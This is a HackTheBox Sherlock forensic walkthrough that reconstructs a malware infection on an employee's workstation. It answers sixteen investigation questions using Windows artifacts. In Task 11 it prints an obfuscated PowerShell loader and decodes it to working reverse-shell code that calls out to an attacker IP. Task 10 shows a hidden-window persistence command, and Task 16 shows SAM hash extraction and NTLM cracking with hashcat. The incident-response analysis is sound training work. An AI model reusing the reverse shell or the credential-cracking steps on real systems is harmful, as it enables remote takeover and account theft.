HTB Sherlock: SillyEli
On this page

SillyEli

Description

SillyEli on HackTheBox.

Eli, a recent addition to the IT team, is eager to settle into his new role. Due to the company’s flexible “Bring Your Own Device” (BYOD) policy, which applies to everyone except IT administrators, Eli receives a newly prepared PC from Metushelah, the senior IT administrator, as part of the IT team’s secure device protocol. Eli’s first priority is to install essential applications that will enable him to connect seamlessly with the rest of the team. He begins setting up the system and downloading the necessary software. After a few days on the job, Eli starts noticing something unusual: every so often, a PowerShell window flashes on his screen, disappearing almost instantly, too quickly to read any of its contents. Assuming it’s just a minor glitch, Eli continues with his work. However, as the unexpected PowerShell pop-ups persist, Eli decides to consult Metushelah. Metushelah suspects these PowerShell flashes could indicate malicious activity. To ensure there are no security breaches, he conducts a forensic acquisition of Eli’s PC and forwards it to the Incident Response team for further analysis. Now, as a member of the IR team, your mission is to investigate Eli’s workstation.

Walkthrough

Initial triage

The original zip file is ~3GB, extracting it reveal about ~6GB of data.

alt text

Checking the 2024-11-09T12_58_21_7297238_ConsoleLog.txt reavealed that the acquisited data was generated using KAPE

alt text

Knowing the compound that KAPE used to acquire the data is !SANS_Triage, I can check what artifacts are included in this compound using this link

A generous number of artifacts were collected

alt text

Using Autopsy to parse the data so I can easily navigate through the file system and artifacts.

alt text

Task 1

Identify the specific time the malware was downloaded in UTC.

The question is asking for a malware download time in UTC. So I will start by looking at the browser data for any suspicious information.

alt text

A suspicious URL is found in the the search history. Which downloaded a file named TeamsSetup.exe

alt text

Despite the file has been downloaded, it was no where to be found in the file system. So I parsed the $MFT artifact to find the file yet only it’s prefetch entry was found and a legitimate MSTeamsSetup.exe file was found.

alt text

Very suspcious regarding of this file. The history from the browser ealier shows that the file was downloaded at 2024-11-06 08:57:54 ICT (UTC+7) which is 2024-11-06 01:57:54 UTC

The answer is 2024-11-06 01:57:54

Task 2

Which domain name was the file downloaded from?

From the browser history, the original url the file was downloaded from is

https://filesuneedtodownload.s3.eu-north-1.amazonaws.com/TeamsSetup.exe?response-content-disposition=inline&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEJr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCmV1LW5vcnRoLTEiRjBEAiAN6wJBQhvuMLDDPtJwModpw%2BNRreJxm2YqAfWovx%2FajQIgKDdRxwuYBquxDYyEZPt6q%2F%2FjZaOFWpYvHIcWJ3xl%2FG0qywMIIxAAGgwwMzk2MTI4NDgyNTciDEyXyblELcHp0XkHOSqoAzvRIdYpWjf8T6PFcK5I3kL0AOlicJon7i%2F4LE0aBXOgfkFLO8TNBo8bZJ9E1GUUX9qop8zghsysd1xBlhvhm29gHEo%2B4x62oYK7LE2PidDSw3ulC3qln86cecYR6TyEGtV%2B4l9jBG8UjvgadfZizTqUVsmsPgJODEJpTWiXDQ8%2F2YjYHVlThIXdAOkheRzkXBAgm%2B%2BdXKyssZUL16eyBSPl24wRrD93J3K16jBypOHl6221Lh6pAsIrNCGVrE6Serwi7qpTDbJYrYFMeZ3uhyqJt6h8bnuE5aM1qL316v1aWkj9WolEonJrdzv%2FIR%2FXjaVzP2qLG69O8ukNUbTUC8DUR3EzjA6D1n1DBi7%2BDh%2BNGqVdSLFz1bGSHUuMPqVukspFSa%2F9t%2Bc6jALXMJsZtoezxaTgZCPo3RHy5GvEco0OMiav2G9XjkO8oS9zKhLrCA1rwqWT9rMdRasrt6PZoDM%2BGk%2F%2BZKAK88s8u2c716gVAzZrUadrmuIzpDd6sHedRNyfR4zkU8RsEQDy4lT42pZNhwaNy%2FGZjqNFXKyHfByvtLFE1do8mp8wnpKruQY65QKIyoSLKjOYyEfTkNxzOU7yz%2FMrjYcygSmBOaTM7t09TFynMI8r3Axi%2FZCgpQfEUCJORO2vu952ScJakaDq2qdgzBUcfDEMFnVPSJKrMJ9cIWaLQ7Q1SaVOkJy0cb2ZlLaPFnERtpJOG2zZXMK9eD%2Fe5L0Ha5WYM8TaMsPvcufifO7mHiUBSEsLL4iyeAFHerAI5Fk%2BPrBk7U%2F3%2BasObRvDMmEVub33eGR4mXnXUG%2FB7N8lwJMxYhU78gMX%2FacQBlArrMf2HB4%2BCyt9EQgL5mN%2F%2B5jS7fyrwzAf9uu1%2Fzi55oC8U0qrWrWvzlCdOmiNhex5hFJYsGMuSh375tzzKJrhtzjDKLDj46lJlMy6OrrDUnuv%2FgUfaj%2Birj83o%2BqGHPfieJwBT%2F5D98JjyvXY3ZovDZRgiCn5V8WetkDGLP9P9OMlOXiPD0IGfqnj%2BOz5%2F9LQMm0aXQPoqFC5q%2BbBTiaBFKhcN0w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQSOI4DCAS3JANHAB%2F20241106%2Feu-north-1%2Fs3%2Faws4_request&X-Amz-Date=20241106T015357Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=642f66b59fae13cabaad9b40ff4fb5bf75ad0e5f41873f0effc4ab1813476389

The answer is filesuneedtodownload.s3.eu-north-1.amazonaws.com

Task 3

Identify the SHA-1 hash of the malware.

Since the file is not found in the file system as well as in the $MFT only the prefetch entry is found so let me check the prefetch entry for the hash value using PECmd and Timeline Explorer.

alt text

How useful … The SHA-1 hash is not here. Let switch to another artifact which is Amcache!

Explanation - More about Prefetch and Amcache
  • Prefetch: When any executable program is run from a particular location for the very first time at that time prefetch will be created. Using prefetch record investigator can determine what and when executable was run on the system. It can be found in the following location: C\Windows\Prefetch.

  • Amcache: Amcache stores record of applications that have been run on a windows system in other words we can say all the software that were installed on the system can be seen in Amcache records. Details like file path for the executable, the date and time it was first run, SHA-1 Hash, etc. can be found in Amcache records. It can be found in the following location: C\Windows\AppCompat\Programs\Amcache.hve

alt text

Using AmcacheParser to parse the Amcache.hve combined with Timeline Explorer I found the necessary information. The SHA-1 hash of the malware is de733beed85f39605fcdea42dddee190506424f2

alt text

The answer is de733beed85f39605fcdea42dddee190506424f2

Task 4

It looks like malicious tool attempts to download a secondary tool during execution — find and provide the full URL.

Knowing that the executable file is ran, the prefetch entry must has information about what is loaded by it.

alt text

Infromation gathered from the prefetch entry:

  • The tool loaded cmd.exe and certutil.exe
  • Create TEAMS.PS1 and TEAMSUPDATER.BAT in C\Users\Eli\AppData\Local\Temp

So I now know that the tool uses cmd.exe as well as certutil.exe. So I checked Windows Event Logs for any suspicious command line execution but return empty result. Digging in the Temp folder only revealed MpCmdRun.log.

Explanation - MpCmdRun.log

MpCmdRun.log is a log file generated by Windows Defender, which is a built-in antivirus and anti-malware software in Windows operating systems. This log file typically contains information about the activities of Windows Defender, such as scans, detections, and actions taken against potential threats. It usually located in C\Windows\Temp but older logs can be found in C\ProgramData\Microsoft\Windows Defender\Support as well.

alt text

Older logs of Windows Defender revealed that mimikatz was downloaded using certutil.exe

alt text

alt text

The answer is https://github.com/gentilkiwi/mimikatz/archive/refs/heads/master.zip

Task 5

What is the name of the batch file created on the system as part of the malware execution?

From previous information gathered from the prefetch entry, the batch file created on the system as part of the malware execution is TEAMSUPDATER.BAT

The answer is TEAMSUPDATER.BAT

Task 6

What was the runtime duration of the malware? (Duration in Ms)

In Autopsy checking the Run Programs to find trace of the malware execution. I extracted the data to Timeline Explorer and search for the phrase team to find all possible execution of the files related but yielded no result.

alt text

I decided to manually check the SRUM data since in the KAPE compound !SANS_Triage SRUM is also collected so I can check the SRUM data for any trace of the malware execution. Using SrumECmd to parse the SRUDB.dat

Explanation - SRUM

SRUM (System Resource Utilization Monitor) is a feature in Windows operating systems that collects and stores data about the resource usage of applications and processes. It provides insights into how system resources such as CPU, memory, disk, and network are being utilized by different applications over time. SRUM data can be valuable for performance monitoring, troubleshooting, and forensic analysis. The SRUM data is stored in a database file called SRUDB.dat, which can be found in the following location: C\Windows\System32\SRUDB.dat

alt text

The file needed is 20260406074700_SrumECmd_AppTimelineProvider_Output.csv. Using Timeline Explorer to analyze the data, I found the execution of TeamsSetup.exe

alt text

The answer is 60003

Task 7

Locate the local URL cache and identify the full URL the threat actor used to download an additional tool during the attack. Include the complete URL with filename and extension.

The local URL cache (specifically the WebCacheV01.dat database) is stored in C\Users\Eli\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat. It acts as a central surveillance log for much of the user’s activity on a Windows system, including browsing history, cookies, cache pointers, … Using ESEDatabaseView to parse the WebCacheV01.dat database.

Note

The WebCache folder is hidden by default and it’s also a operating system protected folder so you need to change the folder options to be able to see it.

alt text

alt text

I noticed KAPE was downloaded but the name extensions show kape[1].zip, that’s mean the file was downloaded twice. Checking the file more doesn’t revealed any more information.

But I remember previously mimikatz was downloaded using certutil.exe so maybe the same technique was used for the additional tool, and based on this article I go to check the C\Users\Eli\AppData\LocalLow\Microsoft\CryptnetUrlCache. There are two subfolders Content and MetaData. Checking the Content folder revealed a very heavy file named 5714CB78C8B535362BEA612E6F6795A4

alt text

Rechecking the metadata of the kape[1].zip file in the WebCacheV01.dat database

alt text

So this must be the file downloaded using certutil.exe. Hop to MetaData folder and find the file with the same name 5714CB78C8B535362BEA612E6F6795A4 and using Get-Content to check the content of the file revealed the URL used to download the additional tool.

alt text

The answer is https://filebin.net/archive/0rkhisv2iq4slveo/kape.zip

Task 8

What is the name of the scheduled task that the attacker created for persistence?

Using RegistryExplorer to parse the C\Windows\System32\config\SOFTWARE registry hive to check for any scheduled task created by the attacker. Under Microsoft\Windows\CurrentVersion\Schedule\TaskCache\Tasks\Tree, a key named TeamsUpdater is found.

alt text

The answer is TeamsUpdater

Task 9

What is the unique GUID associated with the malicious scheduled task?

In the previous image already shows the unique GUID associated with the malicious scheduled task.

The answer is {A4F7ED3E-E7CD-4539-8E79-D73B568FC298}

Task 10

Identify the process or command executed by the malicious scheduled task.

Inspecting the Actions key of the TeamsUpdater

alt text

alt text

The answer is powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C\Users\Eli\AppData\Local\Temp\Teams.ps1

Task 11

Identify the attacker's IP address and port.

Now I know that the scheduled task is executing a powershell script named Teams.ps1 located in C\Users\Eli\AppData\Local\Temp. But the file is not found in the file system. Luckily, the file does exist in $MFT artifact thus I can extract the script using MFTECmd with it’s entry number 315567

PS C:\Users\danhq> MFTECmd.exe -f "C\Users\quannd28\Downloads\HTb\SillyEli\C\`$MFT" --de 315567
MFTECmd version 1.3.0.0
 
Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd
 
Command line: -f C\Users\quannd28\Downloads\HTb\SillyEli\C\$MFT --de 315567
 
Warning: Administrator privileges not found!
 
File type: Mft
 
Processed C\Users\quannd28\Downloads\HTb\SillyEli\C\$MFT in 2.7086 seconds
 
C\Users\quannd28\Downloads\HTb\SillyEli\C\$MFT: FILE records found: 333,537 (Free records: 652) File size: 326.5MB
 
 
Dumping details for file record with key 0004D0AF-00000001
 
Entry-seq #: 0x4D0AF-0x1, Offset: 0x1342BC00, Flags: InUse, Log seq #: 0x5857339D, Base Record entry-seq: 0x0-0x0
Reference count: 0x1, FixUp Data Expected: 05-00, FixUp Data Actual: 30-63 | 00-00 (FixUp OK: True)
 
**** STANDARD INFO ****
  Attribute #: 0x0, Size: 0x60, Content size: 0x48, Name size: 0x0, ContentOffset 0x18. Resident: True
  Flags: Archive, Max Version: 0x0, Flags 2: 512, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x831, Quota charged: 0x0, Update sequence #: 0x13791358
 
  Created On:         2024-11-06 01:58:14.4801563
  Modified On:        2024-11-06 01:58:14.4844579
  Record Modified On: 2024-11-06 01:58:14.4844579
  Last Accessed On:   2024-11-09 12:58:00.8066889
 
**** FILE NAME ****
  Attribute #: 0x2, Size: 0x70, Content size: 0x54, Name size: 0x0, ContentOffset 0x18. Resident: True
 
  File name: Teams.ps1
  Flags: Archive, Name Type: DosWindows, Reparse Value: 0x0, Physical Size: 0x0, Logical Size: 0x0
  Parent Entry-seq #: 0xB761-0x3
 
  Created On:         2024-11-06 01:58:14.4801563
  Modified On:        2024-11-06 01:58:14.4801563
  Record Modified On: 2024-11-06 01:58:14.4801563
  Last Accessed On:   2024-11-06 01:58:14.4801563
 
**** DATA ****
  Attribute #: 0x1, Size: 0x270, Content size: 0x257, Name size: 0x0, ContentOffset 0x18. Resident: True
 
  Resident Data
 
  Data: 28-4E-45-57-2D-6F-62-4A-45-43-54-20-53-59-53-54-65-6D-2E-49-6F-2E-53-74-72-65-41-6D-52-65-41-44-45-72-28-20-28-20-4E-45-57-2D-6F-62-4A-45-43-54-20-20-69-4F-2E-43-6F-6D-50-72-45-73-53-69-4F-6E-2E-44-45-46-6C-61-74-65-53-74-52-65-61-6D-28-20-5B-69-4F-2E-6D-65-6D-6F-52-79-73-54-52-45-41-6D-5D-5B-73-59-73-54-45-4D-2E-63-6F-4E-76-45-52-54-5D-3A-3A-46-52-4F-4D-62-61-73-45-36-34-73-74-52-69-4E-67-28-20-27-54-59-39-52-61-38-4A-41-45-49-54-66-43-2F-30-50-79-33-45-74-64-7A-51-65-69-56-48-62-47-69-79-30-6F-59-68-51-74-44-52-43-48-79-54-51-4A-43-35-36-72-59-6E-69-62-56-42-52-2F-33-73-76-61-56-72-36-73-4D-64-79-7A-48-77-7A-79-30-30-2B-45-47-50-63-74-53-62-70-4A-32-59-45-30-63-45-51-35-6D-71-4D-70-4B-4A-31-39-6F-56-6B-31-44-52-38-44-56-63-61-43-78-4C-4D-75-32-38-72-72-33-65-6E-50-50-2F-57-54-70-73-35-6E-59-34-76-70-52-6F-69-52-62-54-46-4A-42-63-79-6D-4B-55-48-77-6C-6B-63-38-35-52-67-41-4B-35-53-76-57-37-58-37-35-36-75-6A-75-34-35-32-43-33-31-43-6F-58-67-65-73-42-4E-72-74-34-77-6D-51-73-72-63-31-7A-48-76-75-6F-46-69-77-55-74-70-59-52-57-67-65-44-4B-59-38-44-6E-46-76-43-2F-32-78-54-33-70-42-36-6A-63-44-52-36-4C-72-4C-31-58-42-65-4C-33-32-69-37-4E-69-54-67-57-67-61-58-46-7A-77-39-62-42-4A-6A-4C-49-44-56-42-6D-61-2F-31-69-56-74-79-71-71-55-30-4C-67-48-53-32-38-2F-58-48-74-77-67-6B-6C-4A-72-52-2B-47-68-42-74-67-48-77-55-44-71-7A-61-31-63-6B-5A-56-4A-6A-5A-78-63-62-2F-66-67-4F-76-67-4A-33-75-70-45-51-31-58-56-70-35-63-76-57-38-31-6F-62-42-75-42-36-6F-79-35-75-2B-75-38-7A-63-3D-27-29-20-2C-5B-69-4F-2E-43-6F-4D-50-72-65-53-53-69-4F-6E-2E-43-6F-6D-70-72-65-73-73-69-6F-4E-6D-4F-44-65-5D-3A-3A-64-65-43-6F-4D-50-52-65-73-73-29-20-29-2C-20-5B-73-79-73-74-45-6D-2E-74-65-78-74-2E-45-6E-43-4F-64-49-6E-67-5D-3A-3A-61-73-63-49-49-29-20-29-2E-52-65-61-44-54-4F-65-6E-64-28-29-20-7C-20-49-65-78-0D-0A
 
    ASCII:   (NEW-obJECT SYSTem.Io.StreAmReADEr( ( NEW-obJECT  iO.ComPrEsSiOn.DEFlateStReam( [iO.memoRysTREAm][sYsTEM.coNvERT]::FROMbasE64stRiNg( 'TY9Ra8JAEITfC/0Py3EtdzQeiVHbGiy0oYhQtDRCHyTQJC56rYnibVBR/3svaVr6sMdyzHwzy00+EGPctSbpJ2YE0cEQ5mqMpKJ19oVk1DR8DVcaCxLMu28rr3enPP/WTps5nY4vpRoiRbTFJBcymKUHwlkc85RgAK5SvW7X756uju452C31CoXgesBNrt4wmQsrc1zHvuoFiwUtpYRWgeDKY8DnFvC/2xT3pB6jcDR6LrL1XBeL32i7NiTgWgaXFzw9bBJjLIDVBma/1iVtyqqU0LgHS28/XHtwgklJrR+GhBtgHwUDqza1ckZVJjZxcb/fgOvgJ3upEQ1XVp5cvW81obBuB6oy5u+u8zc=') ,[iO.CoMPreSSiOn.CompressioNmODe]::deCoMPRess) ), [systEm.text.EnCOdIng]::ascII) ).ReaDTOend() | Iex
 
    UNICODE: ????????????????????????+???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Teams.ps1

(NEW-obJECT SYSTem.Io.StreAmReADEr( ( NEW-obJECT  iO.ComPrEsSiOn.DEFlateStReam( [iO.memoRysTREAm][sYsTEM.coNvERT]::FROMbasE64stRiNg( 'TY9Ra8JAEITfC/0Py3EtdzQeiVHbGiy0oYhQtDRCHyTQJC56rYnibVBR/3svaVr6sMdyzHwzy00+EGPctSbpJ2YE0cEQ5mqMpKJ19oVk1DR8DVcaCxLMu28rr3enPP/WTps5nY4vpRoiRbTFJBcymKUHwlkc85RgAK5SvW7X756uju452C31CoXgesBNrt4wmQsrc1zHvuoFiwUtpYRWgeDKY8DnFvC/2xT3pB6jcDR6LrL1XBeL32i7NiTgWgaXFzw9bBJjLIDVBma/1iVtyqqU0LgHS28/XHtwgklJrR+GhBtgHwUDqza1ckZVJjZxcb/fgOvgJ3upEQ1XVp5cvW81obBuB6oy5u+u8zc=') ,[iO.CoMPreSSiOn.CompressioNmODe]::deCoMPRess) ), [systEm.text.EnCOdIng]::ascII) ).ReaDTOend() | Iex

I used CyberChef to decode the base64 string and decompress it using Raw Inflate algorithm to get the content of the script. The decoded script is as follow:

$sm=(New-Object System.Net.Sockets.TCPClient("192.168.137.132",443)).GetStream();[byte[]]$bt = 0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d = (New-Object Text.ASCIIEncoding).GetString($bt,0, $i);
$bypass = "ASCII"
$output = (iex $d 2>&1 | Out-String) + "`n" 
$st = ([text.encoding]::$bypass).GetBytes($output)
$sm.Write($st, 0, $st.Length)}

The script is creating a reverse shell connection to the attacker’s IP address

The answer is 192.168.137.132:443

Task 12

What is the name of the sensitive file exfiltrated by the threat actor?

The attacker created a reverse shell thus will have capable of executing any command on the system. Despite the Windows Event Logs has been cleared, but the ConsoleHost_history.txt still has the history of the command executed in the powershell console.

alt text

The attacker exfiltrated two files Employees_Contact_Info.pdf which is considered as sensitive file.

The answer is Employees_Contact_Info.pdf

Task 13

Based on the contents of the document, what is Metushelah’s email address?

In the $MFT the file was not found, so I need to think of other way to get the content of it. Base on the question, I reckon that the email address of Metushelah must be in the document.

In KAPE compound !SANS_Triage, the WindowsIndexSearch is also collected, diving deeper I see it collect the Windows.edb database. You can find more information about Windows.edb in this presentation.

Explanation - Windows.edb in short

The Windows.edb is a database file used by the Windows Search service to index and store information about files and their contents on a Windows system. It is located in the following path: C\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb. The Microsoft Windows Search service uses the Windows.edb as a database to store indexed information about files, emails, and other content on the system. This allows for faster search results when users perform searches using the Windows Search feature. The Windows.edb file can contain valuable information for forensic analysis, as it may include metadata and content from indexed files.

alt text

alt text

Using WinEDB_Browser to check the content of the Windows.edb database

alt text

Company Employees Information First Name Last Name Employee ID Username Email Address Role Seraphina Thorne 19035287 sthorne sthorne36@privmail.net Support Specialist Isolde Winter 68677905 iwinter iwinter80@securemail.org Machine Learning Engineer Elliot Nukia 71896238 eukia eukia92@yahoi.com Blockchain Developer Orion Blackwell 15594455 oblackwell oblackwell47@cloudmail.com CTO Blaise Kerrigan 37068046 bkerrigan bkerrigan34@anavim.com HR Coordinator Rowan Draven 54031754 rdraven rdraven80@webnet.com Digital Forensics Galen Thatcher 90732804 gthatcher gthatcher64@buvim.com Cloud Consultant Amara Gray 88359700 agray agray35@cloudmail.com Systems Engineer Odessa Carver 33626590 ocarver ocarver75@securemail.org UX Designer Phaedra Crowley 43427755 pcrowley pcrowley93@privmail.net Cloud Consultant Eli Aldridge 44526317 ealdridge ealdridge44@yambasar.net IT Administrator Torin Thorne 74257923 tthorne tthorne30@webnet.com AI Researcher Metushelah Makorelah 57054553 mkorelah balikvar@laffa.com IT Administrator  

The answer is balikvar@laffa.com

Task 14

At what time did the attacker clear the Windows event logs? (in UTC)

The attacker cleared the Windows event logs to cover their tracks. However, the ConsoleHost_history.txt still has the history of the command executed in the powershell console. And the event logs must still have the event of logs being cleared. The event ID for clearing the event logs is 1102, I didn’t parse the Security.evtx since finding it straight through Event Viewer is much faster than parsing since the event logs are not that many and I know what event ID to look for.

alt text

The answer is 2024-11-06 02:16:50

Task 15

What is the name of the legitimate tool used by the threat actor to acquire the SAM and SYSTEM hives?

From previous question, I saw KAPE was downloaded and it is a legitimate tool used for forensic analysis, but it can also be used by the attacker to acquire the SAM and SYSTEM hives.

alt text

The answer is KAPE

Task 16

Identify the password belonging to Eli’s account that were exfiltrated by the attacker to their C2 server.

To dump the password hash of Eli’s account, the attacker used mimikatz which is a well-known post-exploitation tool. I can achieve the same result by using pypykatz to parse the SYSTEM and SAM registry hives to extract the password hash of Eli’s account.

PS C:\Users\danhq> pypykatz registry .\SYSTEM --sam .\SAM
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 035c7eeba16ca4cc5d5a91190b13a35b
============== SAM hive secrets ==============
HBoot Key: 12036cfeb589ed014029eb6259dbf0f310101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d9a2192b83449ffb92ddd5ad93144b43:::
Eli:1001:aad3b435b51404eeaad3b435b51404ee:4494236c3843cdc39ce068871bed96e0:::
Metushelah:1002:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

Now I got the NTLM hash of Eli’s account which is 4494236c3843cdc39ce068871bed96e0. I can use hashcat to crack the hash and get the password.

PS C:\Users\danhq> hashcat.exe -m 1000 ..\..\HTb\SillyEli\hash.txt ..\rockyou.txt
hashcat (v7.1.2) starting
 
OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #01: Intel(R) UHD Graphics 770, 3551/7103 MB (1775 MB allocatable), 8MCU
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
 
Host memory allocated for this attack: 652 MB (4314 MB free)
 
Dictionary cache built:
* Filename..: ..\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs
 
4494236c3843cdc39ce068871bed96e0:blackrose
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 4494236c3843cdc39ce068871bed96e0
Time.Started.....: Mon Apr 06 17:31:19 2026 (0 secs)
Time.Estimated...: Mon Apr 06 17:31:19 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (..\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 14778.1 kH/s (12.72ms) @ Accel:937 Loops:1 Thr:63 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 472248/14344384 (3.29%)
Rejected.........: 0/472248 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> rhys11
 
Started: Mon Apr 06 17:31:05 2026
Stopped: Mon Apr 06 17:31:19 2026

The answer is blackrose

Question and Answer Table

Task Question Answer
1 Identify the specific time the malware was downloaded in UTC. 2024-11-06 01:57:54
2 Which domain name was the file downloaded from? filesuneedtodownload.s3.eu-north-1.amazonaws.com
3 Identify the SHA-1 hash of the malware. de733beed85f39605fcdea42dddee190506424f2
4 It looks like malicious tool attempts to download a secondary tool during execution - find and provide the full URL. https://github.com/gentilkiwi/mimikatz/archive/refs/heads/master.zip
5 What is the name of the batch file created on the system as part of the malware execution? TEAMSUPDATER.BAT
6 What was the runtime duration of the malware? (Duration in Ms) 60003
7 Locate the local URL cache and identify the full URL the threat actor used to download an additional tool during the attack. Include the complete URL with filename and extension. https://filebin.net/archive/0rkhisv2iq4slveo/kape.zip
8 What is the name of the scheduled task that the attacker created for persistence? TeamsUpdater
9 What is the unique GUID associated with the malicious scheduled task? {A4F7ED3E-E7CD-4539-8E79-D73B568FC298}
10 Identify the process or command executed by the malicious scheduled task. powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C\Users\Eli\AppData\Local\Temp\Teams.ps1
11 Identify the attacker's IP address and port. 192.168.137.132:443
12 What is the name of the sensitive file exfiltrated by the threat actor? Employees_Contact_Info.pdf
13 Based on the contents of the document, what is Metushelah's email address? balikvar@laffa.com
14 At what time did the attacker clear the Windows event logs? (in UTC) 2024-11-06 02:16:50
15 What is the name of the legitimate tool used by the threat actor to acquire the SAM and SYSTEM hives? KAPE
16 Identify the password belonging to Eli's account that were exfiltrated by the attacker to their C2 server. blackrose

Scenario flow

alt text